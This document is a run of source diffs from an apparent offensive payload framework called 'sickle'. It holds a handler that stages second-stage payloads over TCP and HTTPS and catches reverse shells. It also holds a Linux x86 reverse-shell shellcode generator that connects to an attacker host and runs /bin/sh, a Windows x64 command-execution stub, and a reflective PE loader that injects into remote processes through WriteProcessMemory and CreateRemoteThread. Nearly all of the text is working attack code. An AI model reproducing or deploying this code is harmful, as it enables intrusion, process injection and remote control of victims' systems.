self.request.settimeout(0.1)
response = b""
while True:
try:
data = self.request.recv(4096)
except:
break
response += data
self.request.settimeout(30)
shell_prompt = response.decode('latin-1')
self.request.sendall(input(shell_prompt).encode('latin-1') + b'\n')
class HTTPSStagerHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
"""Handles GET requests made to the HTTPS server
"""
if (self.server.uri_path in self.path):
log_print(f"Sending stage ({len(self.server.stage)} bytes) to {self.client_address[0]}\n")
self.wfile.write(struct.pack('<Q', len(self.server.stage)))
self.wfile.write(self.server.stage)
class Module():
name = "Payload Session Handler"
module = "handler"
example_run = f"{sys.argv[0]} -m {module} -p windows/x64/reflective_pe_loader EXE=/tmp/payload.exe HANDLER=https SRVHOST=192.168.50.210 SRVPORT=443"
platform = "Multi"
arch = "Multi"
ring = 3
author = ["wetw0rk"]
tested_platforms = ["Linux", "Windows"]
summary = "Module for handling payload distribution and session management"
description = ("Starts a \"handler\" object to manage payload distribution. This module also"
" supports handling TTY sessions for standard reverse shells.")
arguments = {}
arguments["SRVHOST"] = {}
arguments["SRVHOST"]["optional"] = "yes"
arguments["SRVHOST"]["description"] = "IP to bind handler to"
arguments["SRVPORT"] = {}
arguments["SRVPORT"]["optional"] = "yes"
arguments["SRVPORT"]["description"] = "Port to bind handler to"
arguments["HANDLER"] = {}
arguments["HANDLER"]["optional"] = "no"
arguments["HANDLER"]["description"] = "Handler for incoming connections"
arguments["HANDLER"]["options"] = { "tty": "Simple TTY handler similiar to netcat for capturing a shell",
"tcp": "Simple TCP handler to distribute second stage payloads",
"https": "Simple HTTPS handler to distribute second stage payloads", }
advanced = {}
advanced["PATH"] = {}
advanced["PATH"]["optional"] = "yes"
advanced["PATH"]["description"] = "The path expected to be reached by our payload to send the second stage"
advanced["CERT"] = {}
advanced["CERT"]["optional"] = "yes"
advanced["CERT"]["description"] = "The path to a custom PEM file to use for SSL communication"
def __init__(self, arg_object):
self.arg_list = arg_object["positional arguments"]
self.stage = arg_object["raw bytes"]
self.set_args()
def set_args(self):
all_args = Module.arguments
all_args.update(Module.advanced)
argv_dict = modparser.argument_check(all_args, self.arg_list)
if (argv_dict == None):
exit(-1)
self.handler = argv_dict["HANDLER"]
# Set the SRVHOST and SRVPORT to distribute payloads
if "SRVHOST" not in argv_dict.keys():
self.srvhost = "0.0.0.0"
else:
self.srvhost = argv_dict["SRVHOST"]
if "SRVPORT" not in argv_dict.keys():
self.srvport = 4242
else:
self.srvport = int(argv_dict["SRVPORT"])
# Set the PATH used by HTTP(S) handlers
if "PATH" not in argv_dict.keys():
self.uri_path = "corn"
else:
self.uri_path = argv_dict["PATH"]
# Set the CERT path that is used by HTTPS if there is not one present, create it
if "CERT" not in argv_dict.keys():
cert_dir = f"/home/{getpass.getuser()}/.local/share/sickle/"
if os.path.isfile(f"{cert_dir}/cert.pem") == False:
log_print("It appears that the HTTPS handler does not have a default certificate generated\n")
log_print("Would you like to generate one (Y/N): ")
create_cert = input()
if (create_cert.lower() == 'y') or (create_cert.lower() == 'yes'):
cmd = f"openssl req -new -x509 -keyout {cert_dir}/cert.pem -out {cert_dir}/cert.pem -days 31337 -nodes"
log_print(f"Executing: {cmd}\n")
os.system(cmd)
self.cert = f"{cert_dir}/cert.pem"
else:
self.cert = argv_dict["CERT"]
if os.path.isfile(self.cert) == False:
log_print("Unable to open {self.cert}\n")
exit(-1)
def do_thing(self):
if self.handler == "tty":
self.start_tty_handler()
elif self.handler == "tcp":
self.start_tcp_handler()
elif self.handler == "https":
self.start_https_handler()
else:
print(f"{self.handler} is not a valid handler\n")
exit(-1)
def start_https_handler(self):
s_addr = (self.srvhost, self.srvport)
httpd = http.server.HTTPServer(s_addr, HTTPSStagerHandler)
log_print(f"HTTPSStagerHandler started, serving payloads @{{{self.srvhost}:{self.srvport}}}\n")
sslctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
sslctx.check_hostname = False
sslctx.load_cert_chain(certfile=self.cert,
keyfile=None,
password=None)
httpd.socket = sslctx.wrap_socket(httpd.socket,
server_side=True)
httpd.stage = self.stage
httpd.uri_path = self.uri_path
httpd.serve_forever()
def start_tcp_handler(self):
"""Starts a TCP Handler, allowing you to respond to a client using a
custom stager. This is useful when using staged stubs in which the
initial stub reaches out this this handler and executes the bytes we
send.
:return: Nothing
:rtype: None
"""
stage_server = socketserver.TCPServer((self.srvhost, self.srvport), TCPStagerHandler)
log_print(f"TCPStagerHandler started, serving payloads @{{{self.srvhost}:{self.srvport}}}\n")
stage_server.stage = self.stage
stage_server.serve_forever()
def start_tty_handler(self):
"""Starts a TTY Handler, essentially allowing you to capture a reverse
shell and interact with it.
:return: Nothing
:rtype: None
"""
log_print(f"SimpleTTYHandler started on {self.srvhost}:{self.srvport}\n")
server = socketserver.TCPServer((self.srvhost, self.srvport), SimpleTTYHandler)
server.serve_forever()
def log_print(msg):
"""Prints a message with a timestamp prepended. This timestamp is based on
when the handler was started.
:param msg: The string to be printed alongside the timestamp
:type msg: str
:return: Prints message to stdout and returns nothing
:rtype: None
"""
elapsed = time.time() - time_start
sys.stdout.write(f"[{elapsed:12.6f}] {msg}")
return
+6 -1
View File
@@ -2,7 +2,12 @@ import os
import sys
import ctypes
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
from ctypes import CDLL
from ctypes import c_char_p
from ctypes import c_void_p
from ctypes import memmove
from ctypes import cast
from ctypes import CFUNCTYPE
class Module():
@@ -56,7 +56,7 @@ class Shellcode():
"execve"])
def generate_source(self):
"""Returns bytecode generated by the keystone engine.
"""Returns assembly source code for the main functionality of the stub
"""
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
@@ -73,71 +73,74 @@ class Shellcode():
sin_family = struct.pack('>H', bits_socket.AF_INET).hex()
source_code = f"""
start:
; int syscall(SYS_socketcall, // EAX => socketcall syscall
; int call, // EBX => SYS_SOCKET
; unsigned long *args) // ECX => *(int domain, int type, protocol)
xor ebx, ebx
mul ebx
push ebx
inc ebx ; Store the call type of SYS_SOCKET into EBX
push ebx
push {sin_family}
mov ecx, esp ; Store pointer to args (AF_INET, SOCK_STREAM, IPPROTO_IP) into ECX
mov al, {self.syscalls['socketcall']}
int 0x80
start:
; int syscall(SYS_socketcall, // EAX => socketcall syscall
; int call, // EBX => SYS_SOCKET
; unsigned long *args) // ECX => *(int domain, int type, protocol)
xor ebx, ebx
mul ebx
push ebx
inc ebx ; Store the call type of SYS_SOCKET into EBX
push ebx
push {sin_family}
mov ecx, esp ; Store pointer to args (AF_INET, SOCK_STREAM, IPPROTO_IP) into ECX
mov al, {self.syscalls['socketcall']}
int 0x80
; i = 2
; while (i <= 0)
; dup2(sockfd, i--)
xchg eax, ebx ; Save the socket file descriptor into ECX (sockfd)
pop ecx ; Initialize the loop counter (0x2 was last pushed onto the stack)
loop:
mov al, {self.syscalls['dup2']}
int 0x80
dec ecx ; Decrement the loop counter
jns loop
connect:
; int syscall(SYS_socketcall, // EAX => socketcall syscall
; int call, // EBX => SYS_CONNECT
; unsigned long *args) // ECX => *(sockfd, (struct sockaddr*), sizeof((struct sockaddr *))
push {sin_addr} ; client.sin_addr.s_addr = inet_addr(LHOST)
push 0x{sin_port}{sin_family} ; client.sin_port = htons(LPORT)
; client.sin_family = AF_INET
; i = 2
; while (i <= 0)
; dup2(sockfd, i--)
xchg eax, ebx ; Save the socket file descriptor into ECX (sockfd)
pop ecx ; Initialize the loop counter (0x2 was last pushed onto the stack)
loop:
mov al, {self.syscalls['dup2']}
int 0x80
dec ecx ; Decrement the loop counter
jns loop
mov ecx, esp ; Store the pointer to the sockaddr struct into ECX
mov al, {self.syscalls['socketcall']}
push eax ; sizeof(client)
push ecx ; *args
push ebx ; sockfd
connect:
; int syscall(SYS_socketcall, // EAX => socketcall syscall
; int call, // EBX => SYS_CONNECT
; unsigned long *args) // ECX => *(sockfd, (struct sockaddr*), sizeof((struct sockaddr *))
push {sin_addr} ; client.sin_addr.s_addr = inet_addr(LHOST)
push 0x{sin_port}{sin_family} ; client.sin_port = htons(LPORT)
; client.sin_family = AF_INET
mov bl, {net.SYS_CONNECT}
mov ecx,esp ; Store pointer to args (sockfd, (struct sockaddr *)&client, sizeof(client)) into ECX
int 0x80
mov ecx, esp ; Store the pointer to the sockaddr struct into ECX
mov al, {self.syscalls['socketcall']}
push eax ; sizeof(client)
push ecx ; *args
push ebx ; sockfd
shell:
; int execve(const char *filename, // EBX => *"/bin/sh
; char *const argv[], // ECX => NULL
; char *const envp[]) // EDX => NULL
xor ecx, ecx
push ecx
push dword 0x68732f2f
push dword 0x6e69622f ; Stack should not point to "/bin//sh"
mov bl, {net.SYS_CONNECT}
mov ecx,esp ; Store pointer to args (sockfd, (struct sockaddr *)&client, sizeof(client)) into ECX
int 0x80
mov ebx,esp ; Place pointer to "/bin//sh" into EBX
mov al, {self.syscalls['execve']} ; execve syscall
int 0x80
shell:
; int execve(const char *filename, // EBX => *"/bin/sh
; char *const argv[], // ECX => NULL
; char *const envp[]) // EDX => NULL
xor ecx, ecx
push ecx
push dword 0x68732f2f
push dword 0x6e69622f ; Stack should not point to "/bin//sh"
mov ebx,esp ; Place pointer to "/bin//sh" into EBX
mov al, {self.syscalls['execve']} ; execve syscall
int 0x80
"""
return source_code
def get_shellcode(self):
"""Generates Shellcode
"""
generator = Assembler(Shellcode.arch)
src = self.generate_source()
return generator.get_bytes_from_asm(src)
shellcode = generator.get_bytes_from_asm(src)
return shellcode
+159
View File
@@ -0,0 +1,159 @@
import sys
import struct
from sickle.common.lib.generic import convert
from sickle.common.lib.generic import modparser
from sickle.common.lib.programmer import builder
from sickle.common.lib.programmer import stubhub
from sickle.common.lib.reversing.assembler import Assembler
class Shellcode():
arch = "x64"
platform = "windows"
name = f"Windows ({arch}) Execute Command"
module = f"{platform}/{arch}/exec"
example_run = f"{sys.argv[0]} -p {module} EXEC=calc.exe"
ring = 3
author = ["wetw0rk"]
tested_platforms = ["Windows 10 (10.0.17763 N/A Build 17763)"]
summary = ("Executes a command on the target host")
description = ("Executes a command on the target host")
arguments = {}
arguments["EXEC"] = {}
arguments["EXEC"]["optional"] = "no"
arguments["EXEC"]["description"] = "Command to be executed"
advanced = {}
advanced["EXITFUNC"] = {}
advanced["EXITFUNC"]["optional"] = "yes"
advanced["EXITFUNC"]["description"] = "Exit technique"
advanced["EXITFUNC"]["options"] = { "terminate": "Terminates the process and all of its threads",
"func": "Have the shellcode operate as function",
"thread": "Exit as a thread",
"process": "Exit as a process" }
def __init__(self, arg_object):
self.arg_list = arg_object["positional arguments"]
self.dependencies = {
"Kernel32.dll": [
"WinExec",
],
}
self.set_args()
sc_args = builder.init_sc_args(self.dependencies)
sc_args.update({"lpCommandLine" : self.cmd_len })
self.stack_space = builder.calc_stack_space(sc_args)
self.storage_offsets = builder.gen_offsets(sc_args)
return
def set_args(self):
"""Configure the arguments that may be used by the shellcode stub
"""
all_args = Shellcode.arguments
all_args.update(Shellcode.advanced)
argv_dict = modparser.argument_check(all_args, self.arg_list)
if (argv_dict == None):
exit(-1)
# Set the command that will be executed by the shellcode. We must ensure
# to NULL terminate it.
self.cmd = argv_dict["EXEC"]
self.cmd += "\x00"
while (len(self.cmd) % 8) != 0:
self.cmd += "\x00"
# Document the size of the shell environment
self.cmd_len = len(self.cmd)
# Set the EXITFUNC and update the necessary dependencies
self.exit_func = ""
if "EXITFUNC" not in argv_dict.keys():
self.exit_func = "terminate"
else:
self.exit_func = argv_dict["EXITFUNC"]
if self.exit_func == "terminate":
self.dependencies["Kernel32.dll"] += "TerminateProcess",
elif self.exit_func == "thread":
self.dependencies["ntdll.dll"] = "RtlExitUserThread",
self.dependencies["Kernel32.dll"] += "LoadLibraryA",
elif self.exit_func == "process":
self.dependencies["Kernel32.dll"] += "ExitProcess",
return 0
def gen_main(self):
"""Returns assembly source code for the main functionality of the stub
"""
src = f"""
; RAX => WinExec([in] LPCSTR lpCmdLine, // RCX => "command"
; [in] UINT uCmdShow); // RDX => SW_HIDE
call_WinExec:\n"""
cmd_buffer = convert.from_str_to_xwords(self.cmd)
write_index = self.storage_offsets['lpCommandLine']
for i in range(len(cmd_buffer["QWORD_LIST"])):
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', cmd_buffer["QWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(cmd_buffer["DWORD_LIST"])):
src += " mov ecx, 0x{}\n".format( struct.pack('<L', cmd_buffer["DWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(cmd_buffer["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', cmd_buffer["WORD_LIST"][i]).hex() )
src += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(cmd_buffer["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(cmd_buffer["BYTE_LIST"][i]) )
src += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f""" xor rdx, rdx
mov [rbp - {write_index}], dl
lea rcx, [rbp - {self.storage_offsets['lpCommandLine']}]
mov rax, [rbp - {self.storage_offsets['WinExec']}]
call rax\n"""
return src
def get_shellcode(self):
"""Generates Shellcode
"""
generator = Assembler(Shellcode.arch)
win_stubs = stubhub.WinRawr(self.storage_offsets,
self.dependencies,
self.stack_space,
self.exit_func)
main_src = self.gen_main()
src = win_stubs.gen_source(main_src)
shellcode = generator.get_bytes_from_asm(src)
return shellcode
@@ -1,20 +1,16 @@
import sys
import math
import ctypes
import struct
from sickle.common.lib.generic import extract
from sickle.common.lib.generic import convert
from sickle.common.lib.generic import modparser
from sickle.common.lib.programmer import builder
from sickle.common.lib.programmer import stubhub
from sickle.common.lib.reversing.assembler import Assembler
from sickle.common.headers.windows import (
winnt,
ntdef,
ws2def,
winternl
tlhelp32,
)
class Shellcode():
@@ -48,26 +44,39 @@ class Shellcode():
arguments["EXE"]["optional"] = "no"
arguments["EXE"]["description"] = "Executable to be loaded into memory and executed"
advanced = {}
advanced["EXITFUNC"] = {}
advanced["EXITFUNC"]["optional"] = "yes"
advanced["EXITFUNC"]["description"] = "Exit technique"
advanced["EXITFUNC"]["options"] = { "terminate": "Terminates the process and all of its threads",
"thread": "Exit as a thread",
"process": "Exit as a process" }
advanced["PROCESS"] = {}
advanced["PROCESS"]["optional"] = "yes"
advanced["PROCESS"]["description"] = "Process name to inject PE into"
def __init__(self, arg_object):
self.arg_list = arg_object["positional arguments"]
self.dependencies = {
"Kernel32.dll": [
"GetCurrentProcess",
"LoadLibraryA",
"VirtualAllocEx",
"GetProcAddress",
"VirtualProtectEx",
"CreateRemoteThread",
"WaitForSingleObject",
],
"msvcrt.dll" : [
"memset",
"memcpy",
]
}
self.set_args()
sc_args = builder.init_sc_args(self.dependencies)
sc_args.update({
"index" : 0x00,
@@ -102,11 +111,65 @@ class Shellcode():
"dwSecIndex" : 0x00,
})
if self.process != None:
sc_args.update({
"ProcessEntry": ctypes.sizeof(tlhelp32._PROCESSENTRY32),
"hSnapshot" : 0x00,
"pid" : 0x00,
})
self.stack_space = builder.calc_stack_space(sc_args)
self.storage_offsets = builder.gen_offsets(sc_args)
return
def set_args(self):
"""Parse user arguments and set default settings where appropriate
"""
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
argv_dict.update(modparser.argument_check(Shellcode.advanced, self.arg_list))
if (argv_dict == None):
exit(-1)
self.exe_stager = extract.read_bytes_from_file(argv_dict["EXE"])
if self.exe_stager == None:
exit(-1)
# If we are injecting into a remote process we will need different API's
# than if we are injecting into the target process. So, we only resolve
# API's that are important to a given technique.
if "PROCESS" not in argv_dict.keys():
self.process = None
self.dependencies["Kernel32.dll"] += "WaitForSingleObject",
self.dependencies["Kernel32.dll"] += "GetCurrentProcess",
self.dependencies["msvcrt.dll"] += "memcpy",
else:
self.process = argv_dict["PROCESS"]
self.dependencies["Kernel32.dll"] += "CreateToolhelp32Snapshot",
self.dependencies["Kernel32.dll"] += "WriteProcessMemory",
self.dependencies["Kernel32.dll"] += "Process32First",
self.dependencies["Kernel32.dll"] += "Process32Next",
self.dependencies["Kernel32.dll"] += "CloseHandle",
self.dependencies["Kernel32.dll"] += "OpenProcess",
# Set the EXITFUNC and update the necessary dependencies
self.exit_func = ""
if "EXITFUNC" not in argv_dict.keys():
self.exit_func = None
else:
self.exit_func = argv_dict["EXITFUNC"]
# Update the necessary dependencies
if self.exit_func == "terminate":
self.dependencies["Kernel32.dll"] += "TerminateProcess",
elif self.exit_func == "thread":
self.dependencies["ntdll.dll"] = "RtlExitUserThread",
elif self.exit_func == "process":
self.dependencies["Kernel32.dll"] += "ExitProcess",
return 0
def modify_section_perms(self):
"""Modify the permissions for each section in the PE file
"""
@@ -125,8 +188,40 @@ get_lpSectionHeaderArray:
init_dwSecIndex:
xor rax, rax
mov [rbp - {self.storage_offsets['dwSecIndex']}], rax
mov [rbp - {self.storage_offsets['dwSecIndex']}], rax\n"""
if self.process != None:
stub += f"""
copy_section:
mov rax, [rbp - {self.storage_offsets['dwSecIndex']}]
xor r11, r11
mov rdx, [rbp - {self.storage_offsets['lpSectionHeaderArray']}]
add rdx, {winnt._IMAGE_SECTION_HEADER.VirtualAddress.offset}
mov r11d, [rdx]
xor r14, r14
mov rdx, [rbp - {self.storage_offsets['lpSectionHeaderArray']}]
add rdx, {winnt._IMAGE_SECTION_HEADER.PointerToRawData.offset}
mov r14d, [rdx]
xor r13, r13
mov rdx, [rbp - {self.storage_offsets['lpSectionHeaderArray']}]
add rdx, {winnt._IMAGE_SECTION_HEADER.SizeOfRawData.offset}
mov r13d, [rdx]
mov rcx, [rbp - {self.storage_offsets['lpvLoadedAddress']}]
add rcx, r11
mov rdx, [rbp - {self.storage_offsets['pResponse']}]
add rdx, r14
xchg rcx, r9
mov r8, rdx
mov rdx, r9
mov r9, r13
lea r11, [rsp+0x28]
mov [rsp+0x20], r11
mov rcx, [rbp - {self.storage_offsets['hProcess']}]
mov rax, [rbp - {self.storage_offsets['WriteProcessMemory']}]
call rax\n"""
else:
stub += f"""
copy_section:
mov rax, [rbp - {self.storage_offsets['dwSecIndex']}]
xor r11, r11
@@ -147,8 +242,9 @@ copy_section:
add rdx, r14
mov r8, r13
mov rax, [rbp - {self.storage_offsets['memcpy']}]
call rax
call rax\n"""
stub += f"""
get_mapped_section_size:
xor rax, rax
mov [rbp - {self.storage_offsets['dwSectionMappedSize']}], rax
@@ -305,7 +401,28 @@ check_next_section:
"""Write the headers into the newly allocated region
"""
stub = f"""
if self.process != None:
stub = f"""
copy_to_alloc:
mov rcx, [rbp - {self.storage_offsets['hProcess']}]
mov rdx, [rbp - {self.storage_offsets['lpvLoadedAddress']}]
xor r9, r9
mov r11, [rbp - {self.storage_offsets['pNtHeader']}]
add r11, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset}
mov r9d, [r11 + {winnt._IMAGE_OPTIONAL_HEADER64.SizeOfHeaders.offset}]
mov r8, [rbp - {self.storage_offsets['pResponse']}]
lea r11, [rsp+0x28]
mov [rsp+0x20], r11
mov rax, [rbp - {self.storage_offsets['WriteProcessMemory']}]
call rax\n"""
else:
stub = f"""
copy_to_alloc:
xor r8, r8
mov rax, [rbp - {self.storage_offsets['memcpy']}]
@@ -314,8 +431,9 @@ copy_to_alloc:
add r11, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset}
mov r8d, [r11 + {winnt._IMAGE_OPTIONAL_HEADER64.SizeOfHeaders.offset}]
mov rdx, [rbp - {self.storage_offsets['pResponse']}]
call rax
call rax\n"""
stub += f"""
change_permissions:
xor rdx, rdx
mov r11, [rbp - {self.storage_offsets['pNtHeader']}]
@@ -536,9 +654,9 @@ get_dwTableSize:
mov rax, {winnt.IMAGE_DIRECTORY_ENTRY_BASERELOC}
imul rax, {ctypes.sizeof(winnt._IMAGE_DATA_DIRECTORY)}
add rdx, rax
xor rcx, rcx ; ^
mov ecx, [rdx + {winnt._IMAGE_DATA_DIRECTORY.Size.offset}] ; |
mov [rbp - {self.storage_offsets['dwTableSize']}], rcx ; Looks good
xor rcx, rcx
mov ecx, [rdx + {winnt._IMAGE_DATA_DIRECTORY.Size.offset}]
mov [rbp - {self.storage_offsets['dwTableSize']}], rcx
get_pBaseRelocationTable:
mov rcx, [rbp - {self.storage_offsets['dwOffsetToBaseRelocationTable']}]
@@ -624,16 +742,99 @@ no_reloc:
return stub
def get_pid_of(self, target_proc):
"""Obtains the PID of a target process
:param target_proc: The name of the target process to inject into
:type target_proc: str
"""
stub = f"""
take_snap:
mov rcx, {tlhelp32.TH32CS_SNAPPROCESS}
xor rdx, rdx
mov rax, [rbp - {self.storage_offsets['CreateToolhelp32Snapshot']}]
call rax
mov [rbp - {self.storage_offsets['hSnapshot']}], rax
setup_PROCESSENTRY32:
lea rbx, [rbp - {self.storage_offsets['ProcessEntry']}]
mov rdi, rbx
xor rax, rax
mov rcx, {int(ctypes.sizeof(tlhelp32._PROCESSENTRY32)/8)}
rep stosq
mov dword ptr [rbx], {ctypes.sizeof(tlhelp32._PROCESSENTRY32)}
find_proc:
mov rcx, [rbp - {self.storage_offsets['hSnapshot']}]
lea rdx, [rbp - {self.storage_offsets['ProcessEntry']}]
mov rax, [rbp - {self.storage_offsets['Process32First']}]
call rax
check_proc:
lea rdx, [rbp - {self.storage_offsets['ProcessEntry']}]
add rdx, {tlhelp32._PROCESSENTRY32.szExeFile.offset}
xor rcx, rcx
begin_check:"""
for i in range(len(target_proc) - 1):
stub += f"""
mov cl, {hex(ord(target_proc[i]))}
cmp [rdx + {i}], cl
jne next_proc_entry"""
stub += f"""
cmp byte ptr [rdx + {len(target_proc) - 1}], {hex(ord(target_proc[len(target_proc)-1]))}
je get_pid
next_proc_entry:
mov rax, [rbp - {self.storage_offsets["Process32Next"]}]
mov rcx, [rbp - {self.storage_offsets["hSnapshot"]}]
lea rdx, [rbp - {self.storage_offsets["ProcessEntry"]}]
mov dword ptr [rbx], {ctypes.sizeof(tlhelp32._PROCESSENTRY32)}
call rax
test rax, rax
jnz check_proc
get_pid:
xor rax, rax
lea rdx, [rbp - {self.storage_offsets['ProcessEntry']}]
add rdx, {tlhelp32._PROCESSENTRY32.th32ProcessID.offset}
mov eax, [rdx]
mov [rbp - {self.storage_offsets['pid']}], rax
call_CloseHandle:
mov rax, [rbp - {self.storage_offsets['CloseHandle']}]
mov rcx, [rbp - {self.storage_offsets['hSnapshot']}]
call rax
"""
return stub
def alloc_image_space(self):
"""Create the allocation where the PE will loaded
"""
stub = f"""
if (self.process != None):
stub = self.get_pid_of(self.process)
stub += f"""
call_OpenProcess:
mov rax, [rbp - {self.storage_offsets['OpenProcess']}]
mov rcx, {winnt.PROCESS_ALL_ACCESS}
xor rdx, rdx
mov r8, [rbp - {self.storage_offsets['pid']}]
call rax
mov [rbp - {self.storage_offsets['hProcess']}], rax\n"""
else:
stub = f"""
call_GetCurrentProcess:
mov rax, [rbp - {self.storage_offsets['GetCurrentProcess']}]
call rax
mov [rbp - {self.storage_offsets['hProcess']}], rax
mov [rbp - {self.storage_offsets['hProcess']}], rax\n"""
stub += f"""
alloc_pe_home:
mov rcx, [rbp - {self.storage_offsets['hProcess']}]
xor rdx, rdx
@@ -658,193 +859,23 @@ alloc_pe_home:
return stub
def get_kernel32(self):
"""Generates stub for obtaining the base address of Kernel32.dll
def gen_main(self):
"""Returns assembly source code for the main functionality of the stub
"""
stub = f"""
getKernel32:
push rbp
mov rbp, rsp
mov dl, 0x4b
getPEB:
mov rcx, 0x60
mov r8, gs:[rcx]
getHeadEntry:
mov rdi, [r8 + {winternl._PEB.Ldr.offset}]
mov rdi, [rdi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
search:
xor rcx, rcx
mov rax, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
mov rsi, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
mov rdi, [rdi]
cmp [rsi + 0x18], cx
jne search
cmp [rsi], dl
jne search
found:
leave
ret
"""
return stub
def lookup_function(self):
"""Generates the stub responsible for obtaining the base address of a function
"""
stub = f"""
lookupFunction:
push rbp
mov rbp, rsp
mov ebx, [rdi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
add rbx, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER64.DataDirectory.offset}
add rbx, rdi
mov eax, [rbx]
mov rbx, rdi
add rbx, rax
mov eax, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
mov r8, rdi
add r8, rax
mov rcx, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
parseNames:
jecxz error
dec ecx
mov eax, [r8 + rcx * 4]
mov rsi, rdi
add rsi, rax
xor r9, r9
xor rax, rax
cld
calcHash:
lodsb
test al, al
jz calcDone
ror r9d, 0xD
add r9, rax
jmp calcHash
calcDone:
cmp r9d, edx
jnz parseNames
findAddress:
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
add r8, rdi
xor rax, rax
mov ax, [r8 + rcx * 2]
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
add r8, rdi
mov eax, [r8 + rax * 4]
add rax, rdi
error:
leave
ret
"""
return stub
def load_library(self, lib):
"""Generates the stub to load a library not currently loaded into a process
"""
lists = convert.from_str_to_xwords(lib)
write_index = self.storage_offsets['functionName']
src = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
for i in range(len(lists["QWORD_LIST"])):
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', lists["QWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(lists["DWORD_LIST"])):
src += " mov ecx, dword 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(lists["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
src += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(lists["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
src += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f"""
xor rcx, rcx
mov [rbp-{write_index}], cl
lea rcx, [rbp - {self.storage_offsets['functionName']}]
mov rax, [rbp - {self.storage_offsets['LoadLibraryA']}]
call rax
"""
return src
def resolve_functions(self):
"""This function is responsible for loading all libraries and resolving respective functions
"""
stub = ""
for lib, imports in self.dependencies.items():
if (lib != "Kernel32.dll"):
stub += self.load_library(lib)
stub += """
mov rdi, rax
"""
for func in range(len(imports)):
stub += f"""
get_{imports[func]}:
mov rdx, {convert.from_str_to_win_hash(imports[func])}
call lookupFunction
mov [rbp - {self.storage_offsets[imports[func]]}], rax
"""
return stub
def generate_source(self):
"""Returns bytecode generated by the keystone engine.
"""
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
if (argv_dict == None):
exit(-1)
self.exe_stager = extract.read_bytes_from_file(argv_dict["EXE"])
if self.exe_stager == None:
exit(-1)
shellcode = f"""
_start:
push rbp
mov rbp, rsp
sub rsp, {self.stack_space}
and rsp, 0xfffffffffffffff0
call getKernel32
mov rdi, rax
"""
shellcode += self.resolve_functions()
shellcode += f"""
src = f"""
load_exe_file:
lea rax, [rip + exe_file]
mov [rbp - {self.storage_offsets['pResponse']}], rax
"""
shellcode += self.alloc_image_space()
src += self.alloc_image_space()
src += self.rebase_pe()
src += self.load_imports()
src += self.write_headers()
src += self.modify_section_perms()
shellcode += self.rebase_pe()
shellcode += self.load_imports()
shellcode += self.write_headers()
shellcode += self.modify_section_perms()
shellcode += f"""
src += f"""
call_CreateRemoteThread:
xor r9, r9
mov r8, [rbp - {self.storage_offsets['pNtHeader']}]
@@ -861,35 +892,33 @@ call_CreateRemoteThread:
xor r8, r8
mov rax, [rbp - {self.storage_offsets['CreateRemoteThread']}]
mov rcx, [rbp - {self.storage_offsets['hProcess']}]
call rax
call rax\n"""
if self.process == None:
src += f"""
call_WaitForSingleObject:
mov rcx, rax
xor rdx, rdx
dec rdx
mov rax, [rbp - {self.storage_offsets['WaitForSingleObject']}]
call rax
ret
"""
call rax\n"""
shellcode += self.get_kernel32()
shellcode += self.lookup_function()
shellcode += self.rva_to_offset()
shellcode += """
exe_file:
"""
return shellcode
return src
def get_shellcode(self):
"""Generates shellcode
"""
generator = Assembler(Shellcode.arch)
src = self.generate_source()
win_stubs = stubhub.WinRawr(self.storage_offsets,
self.dependencies,
self.stack_space,
self.exit_func)
main_src = self.gen_main()
src = win_stubs.gen_source(main_src)
src += self.rva_to_offset()
src += "exe_file:\n"
shellcode = generator.get_bytes_from_asm(src)
shellcode += self.exe_stager
@@ -5,14 +5,12 @@ import struct
from sickle.common.lib.generic import convert
from sickle.common.lib.generic import modparser
from sickle.common.lib.programmer import builder
from sickle.common.lib.programmer import stubhub
from sickle.common.lib.reversing.assembler import Assembler
from sickle.common.headers.windows import (
winnt,
ntdef,
ws2def,
winternl,
winsock2,
processthreadsapi
)
@@ -55,6 +53,19 @@ class Shellcode():
arguments["LPORT"]["optional"] = "yes"
arguments["LPORT"]["description"] = "Listening port on listener host"
arguments["SHELL"] = {}
arguments["SHELL"]["optional"] = "yes"
arguments["SHELL"]["description"] = "Shell environment (powershell.exe, cmd.exe, etc)"
advanced = {}
